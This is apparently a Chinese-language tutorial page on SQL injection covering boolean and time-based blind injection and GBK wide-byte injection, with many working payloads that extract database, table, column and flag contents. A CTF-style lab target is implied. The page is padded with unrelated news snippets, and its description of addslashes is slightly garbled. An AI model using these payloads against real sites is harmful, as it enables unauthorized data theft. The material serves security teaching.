<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
有時目標存在注入,但在頁面上沒有任何回顯,此時,我們需要利用一些方法進行判斷或者嘗試得到資料,這個過程稱之為盲注。
時間盲注其實和布林盲注其實沒有什麼太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過時間注入多一個if()
布林很明顯就是true和false,也就是說它只會根據資訊返回true和false,也就是沒有了之前的報錯資訊。
介面返回值只有一種true,無論輸入任何值,返回情況都會按照正常的來處理。加入特定的時間函數,通過檢視web頁面返回的時間差來判斷注入的語句是否正確。
?id=1 and length(database())>1
substr() 擷取字串 , 從第一位擷取一個
?id=1 and substr(database(),1,1)='k'
ord()/ascii() 返回字元的ascii碼
?id=1 and ord(substr(database(),1,1))=107
limit 0,1 顯示第一條
substr(擷取的內容,擷取的位數,擷取的個數)
substr(database(),1,1) 顯示第一位字元
時間型:sleep(n) 將程式掛起一段時間,n為n秒
if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句,如果錯誤執行第三個語句
?id=1' and if(length(database())=8,1,sleep(5))-- +
猜資料庫的長度; ?id=1 and (length(database()))>11# 猜測資料庫的庫名: ?id=1 and ascii(substr(database(),1,1))>1# 猜表名(範例為查詢第一個表名) and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括號問題 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l' 猜第一個欄位名第一個字元: and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 猜第一個欄位名第二個字元: and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i' 猜第二個欄位名: and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'# 猜欄位中的內容: and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 時間盲注猜測資料庫的長度: ?id=1" and if(length(database())=12,sleep(5),1) -- + 猜測資料庫的庫名: if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 猜測資料庫中表的長度: ?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- + 猜測資料庫中的表名: ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- + 猜測表中的欄位名的長度: ?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- + 猜測表中的欄位名: ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- + 猜測欄位中內容的長度: ?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- + 猜測欄位中的內容: ?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
先判斷長度,再判斷內容
php在版本5.4開始將魔術引號的設定轉化為特定函數addalashes()使用,$b = addcslashes($_REQUEST[8]);
不在組態檔中開啟【原因是將安全編碼交給了使用者自己,避免使用者過度依賴造成安全隱患】,或者在php.ini中修改。
當PHP的傳參中有特殊字元就會再前面加跳脫字元’’,來做一定的過濾
單引號和雙引號內的一切都是字串,那我們輸入的東西如果不能閉合掉單引號和雙引號,我們的輸入就不會當作程式碼執行,就無法產生SQL隱碼攻擊,那我們該怎麼辦?
POST、GET、COOKIE
),$_SERVER
就在作用域之外。儘管現在呼籲所有的程式都使用unicode編碼,所有的網站都使用utf-8編碼,來一個統一的國際規範。但仍然有很多,包括國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如我國的gbk、gb2312,作為自己預設的編碼型別。也有一些cms為了考慮老使用者,推出了gbk和utf-8兩個版本(例如:dedecms)
我們就以gbk字元編碼為例,拉開帷幕。GBK【雙字元編碼】全稱《漢字內碼擴充套件規範》,gbk是一種多字元編碼【多個字元組在一起成為一個字】。他使用了雙位元組編碼方案,因為雙位元組編碼所以gbk編碼漢字,佔用2個位元組。一個utf-8編碼的漢字,佔用3個位元組。
SET NAMES 'gbk'
或是 SET character_set_client =gbk
SET NAMES 'gbk'
或是SET character_set_client =gbk
進行了一次編碼,但是又由於一些不經意的字元集轉換導致了寬位元組注入。?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
到此這篇關於SQL隱碼攻擊篇學習之盲注/寬位元組注入的文章就介紹到這了,更多相關SQL盲注/寬位元組注入內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45